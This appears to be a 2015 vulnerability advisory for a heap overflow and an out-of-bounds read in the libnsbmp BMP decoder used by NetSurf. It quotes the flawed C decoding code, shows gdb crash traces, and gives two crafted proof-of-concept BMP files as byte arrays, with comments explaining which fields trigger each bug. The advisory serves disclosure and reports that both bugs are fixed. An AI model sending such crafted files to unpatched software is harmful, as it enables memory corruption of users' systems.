CVE-2015-7507 / CVE-2015-7508: libnsbmp: heap overflow and out-of-bounds read
Dec 16, 2015Overview
Libnsbmp[1] is a decoding library for BMP and ICO files. It is primarily developed and used as part of the NetSurf project.
As of version 0.1.2, libnsbmp is vulnerable to a heap overflow (CVE-2015-7508) and an out-of-bounds read (CVE-2015-7507).
CVE-2015-7508
libnsbmp expects that the user-supplied bmp_bitmap_cb_create
callback
allocates enough memory to accommodate for bmp->width * bmp->height *
4
bytes. However, due to the way pixels_left
is calculated, the last
row of run-length encoded data may expand beyond the end of
bmp->bitmap
, resulting in a heap overflow.
src/libnsbmp.c #951..1097:
static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
[...]
swidth = bmp->bitmap_callbacks.bitmap_get_bpp(bmp->bitmap) * bmp->width;
top = bmp->bitmap_callbacks.bitmap_get_buffer(bmp->bitmap);
[...]
do {
[...]
length = *data++;
if (length == 0) {
[...]
/* 00 - NN means escape NN pixels */
if (bmp->reversed) {
pixels_left = (y + 1) * bmp->width - x;
scanline = (void *)(top + (y * swidth));
} else {
pixels_left = (bmp->height - y + 1) * bmp->width - x;
scanline = (void *)(bottom - (y * swidth));
}
if (length > pixels_left)
length = pixels_left;
if (data + length > end)
return BMP_INSUFFICIENT_DATA;
[...]
} else {
/* NN means perform RLE for NN pixels */
if (bmp->reversed) {
pixels_left = (y + 1) * bmp->width - x;
scanline = (void *)(top + (y * swidth));
} else {
pixels_left = (bmp->height - y + 1) * bmp->width - x;
scanline = (void *)(bottom - (y * swidth));
}
if (length > pixels_left)
length = pixels_left;
[...]
pixel2 = *data++;
pixel = bmp->colour_table[pixel2 >> 4];
pixel2 = bmp->colour_table[pixel2 & 0xf];
for (i = 0; i < length; i++) {
if (x >= bmp->width) {
x = 0;
if (++y > bmp->height)
return BMP_DATA_ERROR;
scanline -= bmp->width;
}
if ((i & 1) == 0)
scanline[x++] = pixel;
else
scanline[x++] = pixel2;
}
}
}
} while (data < end);
[...]
}
Using NetSurf as an example:
~/netsurf-all-3.3/netsurf$ gdb -x heap.py --args ./nsgtk heap.bmp
[...]
heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefed, end of buf: 0x7fffe29fefec (+1)
heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefef, end of buf: 0x7fffe29fefec (+3)
heap overfow: pix: 0xff999999 ptr: 0x7fffe29feff1, end of buf: 0x7fffe29fefec (+5)
Program received signal SIGSEGV, Segmentation fault.
0x00000000005183e4 in bmp_decode_rle (bmp=0xda9ff0, data=0xdb9e24 'A' <repeats 23 times>, bytes=157, size=4) at src/libnsbmp.c:1091
1091 scanline[x++] = pixel2;
(gdb)
heap.py:
class Breakpoint(gdb.Breakpoint):
def stop(self):
top = get_hex("top")
width = get_hex("bmp->width")
height = get_hex("bmp->height")
bpp = get_hex("bmp->bpp")
x = get_hex("x")
scanline = get_hex("scanline")
pixel2 = get_hex("pixel2")
cur = scanline + x
end = top + width * height * bpp
if cur > end:
print("heap overfow: pix: 0x%x ptr: 0x%x, end of buf: 0x%x (+%d)" %
(pixel2, cur, end, cur - end))
return False
def get_hex(arg):
res = gdb.execute("print/x %s" % arg, to_string=True)
x = res.split(" ")[-1].strip()
return int(x, 16)
Breakpoint("netsurf-all-3.3/libnsbmp/src/libnsbmp.c:1091")
gdb.execute("run")
heap.bmp:
unsigned char heap[] = {
/* bmp_analyse() */
0x42, 0x4d, /* BM */
0x41, 0x00, 0x00, 0x40, /* bmp size */
0x00, 0x00, /* reserved */
0x00, 0x00, /* reserved */
0x00, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
/* bmp_analyse_header() */
0x6c, 0x00, 0x00, 0x00, /* header_size */
0xff, 0x7f, 0x00, 0x00, /* width */
0xf7, 0xff, 0xff, 0xff, /* height */
0x01, 0x00, /* colour planes */
0x04, 0x00, /* bmp->bpp */
0x02, 0x00, 0x00, 0x00, /* bmp->encoding */
0x04, 0x00, 0x00, 0x00, /* size of bitmap */
0x41, 0x41, 0x00, 0x00, /* horizontal resolution */
0x41, 0x41, 0x00, 0x00, /* vertical resolution */
0x01, 0x00, 0x00, 0x00, /* bmp->colours */
0x00, 0x00, 0x00, 0x00, /* number of important colours */
0x41, 0x41, 0x41, 0x41, /* mask identifying bits of red component */
0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
/*
* NOTE: the first two bytes of the alpha mask are used in the
* expansion of the last "line".
*
* 0xff = the number of bytes to expand,
* 0x00 = the pixel which, combined with a bitwise AND against 0xf,
* is used to dereference a (potentially) suiting "real"
* pixel in bmp->colour_table. Since bmp->colours is
* specified as 1, we want this to be 0. No bounds checking
* is done and as such libnsbmp may be induced to read from
* bmp->colour_table[out_of_bounds_index] (CVE-2015-7507)
*/
0xff, 0x00, 0x41, 0x41, /* mask identifying bits of alpha component */
0x41, 0x41, 0x41, 0x41, /* color space type */
0x41, 0x41, 0x41, 0x41, /* x coordinate of red endpoint */
0x41, 0x41, 0x41, 0x41, /* y coordinate of red endpoint */
0x41, 0x41, 0x41, 0x41, /* z coordinate of red endpoint */
0x41, 0x41, 0x41, 0x41, /* x coordinate of green endpoint */
0x41, 0x00, 0x41, 0x41, /* y coordinate of green endpoint */
0x41, 0x41, 0x41, 0x41, /* z coordinate of green endpoint */
0x41, 0x41, 0x41, 0x41, /* x coordinate of blue endpoint */
0x41, 0x41, 0x41, 0x41, /* y coordinate of blue endpoint */
0x41, 0x41, 0x41, 0x41, /* z coordinate of blue endpoint */
0x41, 0x41, 0x41, 0x41, /* gamma red coordinate scale value */
0x41, 0x41, 0x41, 0x41, /* gamma green coordinate scale value */
0x41, 0x41, 0x41, 0x41, /* gamma blue coordinate scale value */
/*
* NOTE: this is what will be expanded on the last "line"
*/
0x99, 0x99, 0x99, /* bmp->colour_table[0] */
0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41,
};
CVE-2015-7507
An out-of-bounds read may occur in libnsbmp due to a lack of boundary
checking before dereferencing bmp->colour_table
in bmp_decode_rgb()
and bmp_decode_rle()
with an index based on a user-supplied value.
src/libnsbmp.c #306..558:
static bmp_result bmp_analyse_header(bmp_image *bmp, uint8_t *data) {
[...]
header_size = read_uint32(data, 0);
[...]
if (header_size == 12) {
[...]
bmp->bpp = read_uint16(data, 10);
/**
* The bpp value should be in the range 1-32, but the only
* values considered legal are:
* RGB ENCODING: 1, 4, 8, 16, 24 and 32
*/
if ((bmp->bpp != 1) && (bmp->bpp != 4) &&
(bmp->bpp != 8) &&
(bmp->bpp != 16) &&
(bmp->bpp != 24) &&
(bmp->bpp != 32))
return BMP_DATA_ERROR;
bmp->colours = (1 << bmp->bpp);
palette_size = 3;
} else if (header_size < 40) {
return BMP_DATA_ERROR;
} else {
[...]
bmp->colours = read_uint32(data, 32);
if (bmp->colours == 0)
bmp->colours = (1 << bmp->bpp);
palette_size = 4;
}
[...]
if (bmp->bpp < 16) {
[...]
/* create the colour table */
bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
if (!bmp->colour_table)
return BMP_INSUFFICIENT_MEMORY;
for (i = 0; i < bmp->colours; i++) {
bmp->colour_table[i] = data[2] | (data[1] << 8) | (data[0] << 16);
if (bmp->opaque)
bmp->colour_table[i] |= (0xff << 24);
data += palette_size;
bmp->colour_table[i] = read_uint32((uint8_t *)&bmp->colour_table[i],0);
}
}
[...]
}
src/libnsbmp.c #951..1097:
static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
[...]
do {
[...]
length = *data++;
if (length == 0) {
[...]
} else {
/* 00 - NN means escape NN pixels */
[...]
if (size == 8) {
[...]
scanline[x++] = bmp->colour_table[(int)*data++];
}
} else {
[...]
if ((i & 1) == 0) {
pixel = *data++;
scanline[x++] = bmp->colour_table
[pixel >> 4];
} else {
scanline[x++] = bmp->colour_table
[pixel & 0xf];
}
}
[...]
}
} else {
/* NN means perform RLE for NN pixels */
[...]
if (size == 8) {
pixel = bmp->colour_table[(int)*data++];
[...]
} else {
pixel2 = *data++;
pixel = bmp->colour_table[pixel2 >> 4];
pixel2 = bmp->colour_table[pixel2 & 0xf];
[...]
}
}
}
} while (data < end);
[...]
}
src/libnsbmp.c #844..893:
static bmp_result bmp_decode_rgb(bmp_image *bmp, uint8_t **start, int bytes) {
[...]
uint8_t bit_shifts[8];
uint8_t ppb = 8 / bmp->bpp;
uint8_t bit_mask = (1 << bmp->bpp) - 1;
uint8_t cur_byte = 0, bit, i;
for (i = 0; i < ppb; i++)
bit_shifts[i] = 8 - ((i + 1) * bmp->bpp);
[...]
/* Determine transparent index */
if (bmp->limited_trans)
bmp->transparent_index = bmp->colour_table[(*data >> bit_shifts[0]) & bit_mask];
for (y = 0; y < bmp->height; y++) {
[...]
for (x = 0; x < bmp->width; x++) {
if (bit >= ppb) {
bit = 0;
cur_byte = *data++;
}
scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
[...]
}
}
*start = data;
return BMP_OK;
}
Another NetSurf example:
~/netsurf-all-3.3/netsurf$ gdb --args ./nsgtk oob.bmp
[...]
(gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:531
Breakpoint 1 at 0x516a3e: file src/libnsbmp.c, line 531.
(gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:869
Breakpoint 2 at 0x5179bb: file src/libnsbmp.c, line 869.
(gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:886
Breakpoint 3 at 0x517aab: file src/libnsbmp.c, line 886.
(gdb) r
[...]
Breakpoint 1, bmp_analyse_header (bmp=0xdadc90, data=0xdb9e6a "\377\377\377") at src/libnsbmp.c:531
531 bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
(gdb) p bmp->colours * 4
$1 = 4
(gdb) c
[...]
Breakpoint 3, bmp_decode_rgb (bmp=0xdadc90, start=0x7fffffffbff0, bytes=4) at src/libnsbmp.c:886
886 scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
(gdb) p (cur_byte >> bit_shifts[bit++]) & bit_mask
$2 = 255
(gdb)
oob.bmp:
unsigned char bmp[] = {
/* bmp_analyse() */
0x42, 0x4d, /* BM */
0x7e, 0x00, 0x00, 0x00, /* bmp size */
0x00, 0x00, /* reserved */
0x00, 0x00, /* reserved */
0x7a, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
/* bmp_analyse_header() */
0x6c, 0x00, 0x00, 0x00, /* header_size */
0x01, 0x00, 0x00, 0x00, /* width */
0x01, 0x00, 0x00, 0x00, /* height */
0x01, 0x00, /* colour planes */
0x08, 0x00, /* bmp->bpp */
0x00, 0x00, 0x00, 0x00, /* bmp->encoding */
0x00, 0x00, 0x00, 0x00, /* size of bitmap */
0x00, 0x00, 0x00, 0x00, /* horizontal resolution */
0x00, 0x00, 0x00, 0x00, /* vertical resolution */
0x01, 0x00, 0x00, 0x00, /* bmp->colours */
0x00, 0x00, 0x00, 0x00, /* number of important colours */
0x00, 0x00, 0x00, 0x00, /* mask identifying bits of red component */
0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
0x00, 0x00, 0x00, 0x00, /* mask identifying bits of alpha component */
0x00, 0x00, 0x00, 0x00, /* color space type */
0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */
0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */
0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */
0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */
0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */
0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */
0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */
0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */
0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */
0x00, 0x00, 0x00, 0x00, /* gamma red coordinate scale value */
0x00, 0x00, 0x00, 0x00, /* gamma green coordinate scale value */
0x00, 0x00, 0x00, 0x00, /* gamma blue coordinate scale value */
0xff, 0xff, 0xff, 0x00 /* bmp->colour_table[0] */
};
Solution
Both vulnerabilities are fixed in git HEAD[2].